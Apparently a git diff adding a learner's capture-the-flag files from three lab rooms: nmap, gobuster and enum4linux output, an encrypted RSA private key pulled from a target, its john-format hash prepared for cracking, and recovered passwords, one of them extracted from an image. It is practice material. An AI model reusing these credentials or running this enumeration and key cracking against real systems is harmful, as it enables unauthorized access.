[+] Password Complexity Flags: 000000
|
||||
|
||||
[+] Domain Refuse Password Change: 0
|
||||
[+] Domain Password Store Cleartext: 0
|
||||
[+] Domain Password Lockout Admins: 0
|
||||
[+] Domain Password No Clear Change: 0
|
||||
[+] Domain Password No Anon Change: 0
|
||||
[+] Domain Password Complex: 0
|
||||
|
||||
[+] Minimum password age: None
|
||||
[+] Reset Account Lockout Counter: 30 minutes
|
||||
[+] Locked Account Duration: 30 minutes
|
||||
[+] Account Lockout Threshold: None
|
||||
[+] Forced Log off Time: 136 years 37 days 6 hours 21 minutes
|
||||
|
||||
|
||||
[33m
|
||||
[+] [0m[32mRetieved partial password policy with rpcclient:
|
||||
|
||||
|
||||
[0mPassword Complexity: Disabled
|
||||
Minimum Password Length: 5
|
||||
|
||||
|
||||
[34m ======================================( [0m[32mGroups on 10.10.208.221[0m[34m )======================================
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32mGetting builtin groups:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting builtin group memberships:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting local groups:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting local group memberships:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting domain groups:
|
||||
|
||||
[0m[33m
|
||||
[+] [0m[32m Getting domain group memberships:
|
||||
|
||||
[0m
|
||||
[34m ==================( [0m[32mUsers on 10.10.208.221 via RID cycling (RIDS: 500-550,1000-1050)[0m[34m )==================
|
||||
|
||||
[0m[33m
|
||||
[I] [0m[36mFound new SID:
|
||||
[0mS-1-22-1
|
||||
[33m
|
||||
[I] [0m[36mFound new SID:
|
||||
[0mS-1-5-32
|
||||
[33m
|
||||
[I] [0m[36mFound new SID:
|
||||
[0mS-1-5-32
|
||||
[33m
|
||||
[I] [0m[36mFound new SID:
|
||||
[0mS-1-5-32
|
||||
[33m
|
||||
[I] [0m[36mFound new SID:
|
||||
[0mS-1-5-32
|
||||
[33m
|
||||
[+] [0m[32mEnumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
|
||||
|
||||
[0mS-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
|
||||
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)
|
||||
[33m
|
||||
[+] [0m[32mEnumerating users using SID S-1-5-32 and logon username '', password ''
|
||||
|
||||
[0mS-1-5-32-544 BUILTIN\Administrators (Local Group)
|
||||
S-1-5-32-545 BUILTIN\Users (Local Group)
|
||||
S-1-5-32-546 BUILTIN\Guests (Local Group)
|
||||
S-1-5-32-547 BUILTIN\Power Users (Local Group)
|
||||
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
|
||||
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
|
||||
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
|
||||
[33m
|
||||
[+] [0m[32mEnumerating users using SID S-1-22-1 and logon username '', password ''
|
||||
|
||||
[0mS-1-22-1-1000 Unix User\kay (Local User)
|
||||
S-1-22-1-1001 Unix User\jan (Local User)
|
||||
S-1-22-1-1002 Unix User\ubuntu (Local User)
|
||||
|
||||
[34m ===============================( [0m[32mGetting printer info for 10.10.208.221[0m[34m )===============================
|
||||
|
||||
[0mNo printers returned.
|
||||
|
||||
|
||||
enum4linux complete on Wed Oct 15 21:03:45 2025
|
||||
|
||||
20
CTF/BasicPentesting/gobuster_scan1.txt
Normal file
20
CTF/BasicPentesting/gobuster_scan1.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
===============================================================
|
||||
Gobuster v3.8
|
||||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||||
===============================================================
|
||||
[+] Url: http://10.10.208.221:8080
|
||||
[+] Method: GET
|
||||
[+] Threads: 10
|
||||
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
|
||||
[+] Negative Status codes: 404
|
||||
[+] User Agent: gobuster/3.8
|
||||
[+] Timeout: 10s
|
||||
===============================================================
|
||||
Starting gobuster in directory enumeration mode
|
||||
===============================================================
|
||||
/docs (Status: 302) [Size: 0] [--> /docs/]
|
||||
/examples (Status: 302) [Size: 0] [--> /examples/]
|
||||
/manager (Status: 302) [Size: 0] [--> /manager/]
|
||||
===============================================================
|
||||
Finished
|
||||
===============================================================
|
||||
22
CTF/BasicPentesting/gobuster_scan2.txt
Normal file
22
CTF/BasicPentesting/gobuster_scan2.txt
Normal file
@@ -0,0 +1,22 @@
|
||||
===============================================================
|
||||
Gobuster v3.8
|
||||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||||
===============================================================
|
||||
[+] Url: http://10.10.208.221:8080/
|
||||
[+] Method: GET
|
||||
[+] Threads: 10
|
||||
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
|
||||
[+] Negative Status codes: 404
|
||||
[+] User Agent: gobuster/3.8
|
||||
[+] Timeout: 10s
|
||||
===============================================================
|
||||
Starting gobuster in directory enumeration mode
|
||||
===============================================================
|
||||
/docs (Status: 302) [Size: 0] [--> /docs/]
|
||||
/examples (Status: 302) [Size: 0] [--> /examples/]
|
||||
/favicon.ico (Status: 200) [Size: 21630]
|
||||
/host-manager (Status: 302) [Size: 0] [--> /host-manager/]
|
||||
/manager (Status: 302) [Size: 0] [--> /manager/]
|
||||
===============================================================
|
||||
Finished
|
||||
===============================================================
|
||||
19
CTF/BasicPentesting/gobuster_scan3.txt
Normal file
19
CTF/BasicPentesting/gobuster_scan3.txt
Normal file
@@ -0,0 +1,19 @@
|
||||
===============================================================
|
||||
Gobuster v3.8
|
||||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||||
===============================================================
|
||||
[+] Url: http://10.10.208.221/
|
||||
[+] Method: GET
|
||||
[+] Threads: 50
|
||||
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
|
||||
[+] Negative Status codes: 404
|
||||
[+] User Agent: gobuster/3.8
|
||||
[+] Timeout: 10s
|
||||
===============================================================
|
||||
Starting gobuster in directory enumeration mode
|
||||
===============================================================
|
||||
/development (Status: 301) [Size: 320] [--> http://10.10.208.221/development/]
|
||||
/server-status (Status: 403) [Size: 278]
|
||||
===============================================================
|
||||
Finished
|
||||
===============================================================
|
||||
21
CTF/BasicPentesting/gobuster_scan4.txt
Normal file
21
CTF/BasicPentesting/gobuster_scan4.txt
Normal file
@@ -0,0 +1,21 @@
|
||||
===============================================================
|
||||
Gobuster v3.8
|
||||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||||
===============================================================
|
||||
[+] Url: http://10.10.208.221:8080
|
||||
[+] Method: GET
|
||||
[+] Threads: 50
|
||||
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
|
||||
[+] Negative Status codes: 404
|
||||
[+] User Agent: gobuster/3.8
|
||||
[+] Timeout: 10s
|
||||
===============================================================
|
||||
Starting gobuster in directory enumeration mode
|
||||
===============================================================
|
||||
/docs (Status: 302) [Size: 0] [--> /docs/]
|
||||
/examples (Status: 302) [Size: 0] [--> /examples/]
|
||||
/favicon.ico (Status: 200) [Size: 21630]
|
||||
/manager (Status: 302) [Size: 0] [--> /manager/]
|
||||
===============================================================
|
||||
Finished
|
||||
===============================================================
|
||||
55
CTF/BasicPentesting/id_rsa
Normal file
55
CTF/BasicPentesting/id_rsa
Normal file
@@ -0,0 +1,55 @@
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
Proc-Type: 4,ENCRYPTED
|
||||
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
|
||||
|
||||
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
|
||||
-----END RSA PRIVATE KEY-----
|
||||
|
||||
1
CTF/BasicPentesting/pass_hash.txt
Normal file
1
CTF/BasicPentesting/pass_hash.txt
Normal file
@@ -0,0 +1 @@
|
||||
heresareallystrongpasswordthatfollowsthepasswordpolicy3519
|
||||
4
CTF/BasicPentesting/scan1.gnmap
Normal file
4
CTF/BasicPentesting/scan1.gnmap
Normal file
@@ -0,0 +1,4 @@
|
||||
# Nmap 7.95 scan initiated Wed Oct 15 20:06:23 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -oG scan1.gnmap 10.10.208.221
|
||||
Host: 10.10.208.221 () Status: Up
|
||||
Host: 10.10.208.221 () Ports: 22/open/tcp//ssh//OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.4.41 ((Ubuntu))/, 139/open/tcp//netbios-ssn//Samba smbd 4/, 445/open/tcp//netbios-ssn//Samba smbd 4/, 8009/open/tcp//ajp13//Apache Jserv (Protocol v1.3)/, 8080/open/tcp//http//Apache Tomcat 9.0.7/ Ignored State: closed (994) OS: Linux 4.15 Seq Index: 260 IP ID Seq: All zeros
|
||||
# Nmap done at Wed Oct 15 20:06:44 2025 -- 1 IP address (1 host up) scanned in 20.58 seconds
|
||||
68
CTF/BasicPentesting/scan2.nmap
Normal file
68
CTF/BasicPentesting/scan2.nmap
Normal file
@@ -0,0 +1,68 @@
|
||||
# Nmap 7.95 scan initiated Wed Oct 15 20:54:03 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -oN scan2.nmap --script smb* 10.10.208.221
|
||||
Nmap scan report for 10.10.208.221
|
||||
Host is up (0.097s latency).
|
||||
Not shown: 994 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|
||||
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|
||||
|_http-server-header: Apache/2.4.41 (Ubuntu)
|
||||
139/tcp open netbios-ssn Samba smbd 4
|
||||
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
|
||||
445/tcp open netbios-ssn Samba smbd 4
|
||||
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
|
||||
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|
||||
8080/tcp open http Apache Tomcat 9.0.7
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4.15
|
||||
OS details: Linux 4.15
|
||||
Network Distance: 2 hops
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Host script results:
|
||||
| smb2-capabilities:
|
||||
| 2:0:2:
|
||||
| Distributed File System
|
||||
| 2:1:0:
|
||||
| Distributed File System
|
||||
| Leasing
|
||||
| Multi-credit operations
|
||||
| 3:0:0:
|
||||
| Distributed File System
|
||||
| Leasing
|
||||
| Multi-credit operations
|
||||
| 3:0:2:
|
||||
| Distributed File System
|
||||
| Leasing
|
||||
| Multi-credit operations
|
||||
| 3:1:1:
|
||||
| Distributed File System
|
||||
| Leasing
|
||||
|_ Multi-credit operations
|
||||
| smb2-time:
|
||||
| date: 2025-10-15T18:54:20
|
||||
|_ start_date: N/A
|
||||
|_smb-print-text: false
|
||||
|_smb-vuln-ms10-054: false
|
||||
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|
||||
| smb2-security-mode:
|
||||
| 3:1:1:
|
||||
|_ Message signing enabled but not required
|
||||
| smb-mbenum:
|
||||
|_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|
||||
| smb-protocols:
|
||||
| dialects:
|
||||
| 2:0:2
|
||||
| 2:1:0
|
||||
| 3:0:0
|
||||
| 3:0:2
|
||||
|_ 3:1:1
|
||||
|_smb-flood: ERROR: Script execution failed (use -d to debug)
|
||||
|
||||
TRACEROUTE (using port 1723/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 67.19 ms 10.14.0.1
|
||||
2 83.55 ms 10.10.208.221
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Wed Oct 15 20:54:27 2025 -- 1 IP address (1 host up) scanned in 23.85 seconds
|
||||
1
CTF/BasicPentesting/ssh_john.txt
Normal file
1
CTF/BasicPentesting/ssh_john.txt
Normal file
@@ -0,0 +1 @@
|
||||
id_rsa:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de801a2712ef86e499d5cad1af838d19402729c471837fbdbe7eb172e8e9cd40ee52d959a3d772204241e305194ee7813ec99be3ced17455644ce550ad51edcb52b668bcb62e46b60a77e3cfc2e5bfe14c69db0d5d1be3c3f1d18867173d8f01ee7b00d5e88f62b3d91c81f740e14862548f318bfbf510bae62e9fae40d2bf15f36dd7d702400dfb74f9154e3d00454a049b599cb4c4070df59b18efd252d702a21a5f941f79731a70840e51608701396955798d946e01686edc557b350263e279f971eee37846e07d3594b8669d25a656c26f85046b05f44edf9529dea4ce1f8193469485640909d9dbfd4f9d45ab2ede8c6aca494a53674fb1e53bae5bcf02a6bacbea202bfc284db9d3ae446780aa8b431325948599c9ee32acb1137dcdbbe61cd555887a1642e0b4e7da972d1b32a188accf9e595a173ab64f065bfc8b23530dd0c4de3463a9b38694fb34d6101628847150f684af5f25719f8e958d34570da834bdb129482d4295768f01f4e3219d5db7c92d85a55f19c926954c84a0ba6bbe697b8655c5f98cb7441c2b8a0a3b569118ca8b14dc1a3f125857a1dab94a1513137b6d4a68f9e2d856ce66a39b5ba560e18b43517e718fd6de9b9fb4ef6fbec009ac86cc774ba4802a666bffd21c114e7adb455858d4251fef118d99b9b3607ccd130329a44da2f261526951422440b7703827e53bd05177e1e82249455ae177157256a563b28b7e0b317b99b5a6e6716c4cf3e53a79dd0ba266ad41148de21b2f305c5ba6d7e6cf9bf7978579c79632655e0745a1aa73ed0ed56d837b05763c69d218065ea2b86c03019cce1c84570aed1a6f0918ec2b25985440c9318bdcf3b674cacbcea559fd5a714e51d38df94e2960fe8f98d53865dd907a434859811764864ccb2a6e18215d03448045febf90ac06a073800822b78a101028a6cef927e581705a1d76fa934a1c31001620ec5826e9cf28df1bcf39502c9b3526b65789b86555a3de57b5f6e4d694caee6ee1b82d1616ff7fc68129b7a5e1795647ee07c5ba2da49c7a45507210f67f91588eab74b51a9c074916689f7db4c40e2138f91c1bae890f21e54ba077dbcb95888e836ba7eb6223a70384c48c94cf3b946971210a40a220eb980809ba5c5a3d54e08f6610765e1dcd2bda5cae7d96e77d852bd2a095a3cfa64bc5fbe6c79ea0dcfc6ae40be03238217213ab9b1a0873f8cbf9ed9b3d40dd0d0536365702a7452bf85301d84c4397621979cdc37b5b983f301af78655f352684c57799037f633a09b755ba0de9c017a73d76e0a8f46c4c33c4207358a8b408f1c52d8b8ca0378ba8ffcd224a125e5a0973c6997a6225e51007e600c22d3e24ebbc1e8bd8ff250eb32d44f4bd298ba27a3522215db0c3b89d49f2277cfedd74c3b59a1497936263826308f2e14cd363025aa7a5c39aa9a77b815dd10ff6ac9a5d8bda4074513f0fad3b6df926da5ca3c51f47479a8c271a60dab493fe78cadce92f3debe1c05ef72f3f194a36d23bfa3b0d4f0b8f04236d485be8d7d97dfb1c5de79613568d58f113308e8a73c7b87ca11b7b53e63d37f055b5bb7e5f39982e7bbedea3aae16daa3b29ccd8f9d98d53e97a1fbc0c1a2e701e5b7d7b224a4371358b02103e25b29c54138b8c4b7c9706967fe384b263c284ceb0336887e7da79e3c10d54d85689c0db4c379388b2138d0c40017fd2256aae3a2d21a93116a134d5f0ce8ce1fbf2c61509868c823fccdff62aca54796ff99aa5b0bc588af10537f26eccfa6962e595fbeac9df244f6cbaf6b77a11cfd8078de615833305fe0ae0d22173e8d744435fe3a69a81313109f9c5cdcb56d67544a36aa27a3b7c0db50b3b829972368ff2ed998c1910b392720c0d4cbaa907a49f2c38f970503971d64b6972f5b7b5c34735a08129c2b7ee82c6ccc49ddc943a5ae2f4467c5d7a07859e39ae00023c771d59caca0817ce412d35849abd9d225ed96e34de5266b31fd4dd82dab9469582b1e41687a39f108da54b6e84771542cb11f5c522e62b79b6867e8a20df2e8c9bf9ff36634c0de536fa3d377fa27543b6c90895f13bdf50f03b2dd97e5d25d452fa6a0d225704eb3c19751864285dfe3031bc2ff5b0c5d19a7feae6ad5625757477aa3c3f0eb635717f1f5b9037b3a76425db2a2151e2810eefbb75853d939360d1240093b2497a8903eff9b98bc705c2afe0e5541af2bb06b0ec50e4caf798a7f59ffc3a3e70565d887b9f694bdfa64d15a70ed55eacccc69af3fe3cf5aa5b6e3a7186eb5036e12efe53fcc509719a6a6f3ec0c008cb6a035229a1597d9be6beb13444d84c93f2164844c8ae69aa13648578087b98e90dd03f9da47d9ce306dddc88dd80998bf6d3910d209bebb1a70f8b73d944d949b1b1b19b13a455776f3c2e6647fa6722fc2bad5b202502684e91514a11e3437a92a09febffcfc3d55095b43e14b0567e8f5cbd91728b693fe82b8f75ccaf27c0651152faaf0610d2edcabc0b9ac51895180fbf60b868771dee58edb97e99d5ca3592cc9733a76ae0b96ca5788be62e8fb006204c574482579701781b46ec979bdbc9d339e57967051ca87fadae7184bd79cac0af834632081c5df6189dcc4cc8a0170cac12c30c1fff21c4c17f20813112bf901df81c5d78ca22024f1cd58cb5b73c1d68c6529ce4b21d7b95941e099f9a6140bdd1f0ead9113b2e5f17c354aacf79a38a104d6f844559417552387182ba20d890203a6a5e9661d23d8b6fae351a208ef5550555592011fec39609858b6b22743b0cca80c97d58076a660be95e460177cab3fd6b690b01a0e4f5d0507157afe9c4dc7f384187256a9a5d56ab00d466d44e4f07e5f348e8f100e5abe1c4d1bbc207fa3617140a604b607c7e3f5020f9aabb0700ad790e7847e085eb2243e503bf7d097ae15a2ee6179262e351773bb880123c0a87a43f62380fbe08fc2c63ac08ffe2ba0c6deeefbdd49eeaa2ffd1053aceec67b25f92dcfd25b58fa4fab2328481af26f5f4b5d21e1312b78f913b7f08254b064336d84c1aa3c82582e1cde55b5a347d264cb9e98df34b5490831e5d212b38b7cd999daf186a97efd6250e1e6820079358542f77ac78ddd9a505919c318000fc47f8b80fc84f12cf58adf1a3ee3fc8190015058c16c414cc0d6017b9a1fb032ee20e842573b30fc3214ac5fb8962437477e81bb6479fa498f148924796d6d616218ec2a5fa0949def8542dc9b75fd95b75c26fbe91ef9b06e61e90e0df20bb973f33471dab5e87f4c1f0a5d8a7f4e653a8edb337116fa6e5ed858
|
||||
28
CTF/BillingV2/gobuster.output
Normal file
28
CTF/BillingV2/gobuster.output
Normal file
@@ -0,0 +1,28 @@
|
||||
===============================================================
|
||||
Gobuster v3.6
|
||||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||||
===============================================================
|
||||
[+] Url: http://billingv2
|
||||
[+] Method: GET
|
||||
[+] Threads: 10
|
||||
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
|
||||
[+] Negative Status codes: 404
|
||||
[+] User Agent: gobuster/3.6
|
||||
[+] Timeout: 10s
|
||||
===============================================================
|
||||
Starting gobuster in directory enumeration mode
|
||||
===============================================================
|
||||
|
||||
[2K/.hta (Status: 403) [Size: 274]
|
||||
|
||||
[2K/.htaccess (Status: 403) [Size: 274]
|
||||
|
||||
[2K/.htpasswd (Status: 403) [Size: 274]
|
||||
|
||||
[2K/akeeba.backend.log (Status: 403) [Size: 274]
|
||||
|
||||
[2K/development.log (Status: 403) [Size: 274]
|
||||
|
||||
[2K/index.php (Status: 302) [Size: 1] [--> ./mbilling]
|
||||
|
||||
[2K/production.log (Status: 403) [Size: 274]
|
||||
33
CTF/BillingV2/nmap.output
Normal file
33
CTF/BillingV2/nmap.output
Normal file
@@ -0,0 +1,33 @@
|
||||
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 11:45 CET
|
||||
Nmap scan report for billingv2 (10.10.156.162)
|
||||
Host is up (0.042s latency).
|
||||
rDNS record for 10.10.156.162: BillingV2
|
||||
Not shown: 65531 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
|
||||
| 256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|
||||
|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
|
||||
80/tcp open http Apache httpd 2.4.56 ((Debian))
|
||||
| http-title: MagnusBilling
|
||||
|_Requested resource was http://billingv2/mbilling/
|
||||
|_http-server-header: Apache/2.4.56 (Debian)
|
||||
| http-robots.txt: 1 disallowed entry
|
||||
|_/mbilling/
|
||||
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
|
||||
5038/tcp open asterisk Asterisk Call Manager 2.10.6
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4.15
|
||||
OS details: Linux 4.15
|
||||
Network Distance: 2 hops
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
TRACEROUTE (using port 8080/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 40.91 ms 10.14.0.1
|
||||
2 41.06 ms BillingV2 (10.10.156.162)
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 71.35 seconds
|
||||
BIN
CTF/BrooklynNineNine/brooklyn99.jpg
Normal file
BIN
CTF/BrooklynNineNine/brooklyn99.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 68 KiB |
4
CTF/BrooklynNineNine/brooklyn99.jpg.out
Normal file
4
CTF/BrooklynNineNine/brooklyn99.jpg.out
Normal file
@@ -0,0 +1,4 @@
|
||||
Holts Password:
|
||||
fluffydog12@ninenine
|
||||
|
||||
Enjoy!!
|
||||
1
CTF/BrooklynNineNine/gobuster_scan1.txt
Normal file
1
CTF/BrooklynNineNine/gobuster_scan1.txt
Normal file
@@ -0,0 +1 @@
|
||||
/server-status [33m (Status: 403)[0m [Size: 278]
|
||||
43
CTF/BrooklynNineNine/nmap_scan1.nmap
Normal file
43
CTF/BrooklynNineNine/nmap_scan1.nmap
Normal file
@@ -0,0 +1,43 @@
|
||||
# Nmap 7.95 scan initiated Thu Oct 16 13:14:44 2025 as: /usr/lib/nmap/nmap --privileged -A -T4 -oN nmap_scan1.nmap 10.10.151.224
|
||||
Nmap scan report for 10.10.151.224
|
||||
Host is up (0.068s latency).
|
||||
Not shown: 997 closed tcp ports (reset)
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp vsftpd 3.0.3
|
||||
| ftp-syst:
|
||||
| STAT:
|
||||
| FTP server status:
|
||||
| Connected to ::ffff:10.14.99.89
|
||||
| Logged in as ftp
|
||||
| TYPE: ASCII
|
||||
| No session bandwidth limit
|
||||
| Session timeout in seconds is 300
|
||||
| Control connection is plain text
|
||||
| Data connections will be plain text
|
||||
| At session startup, client count was 1
|
||||
| vsFTPd 3.0.3 - secure, fast, stable
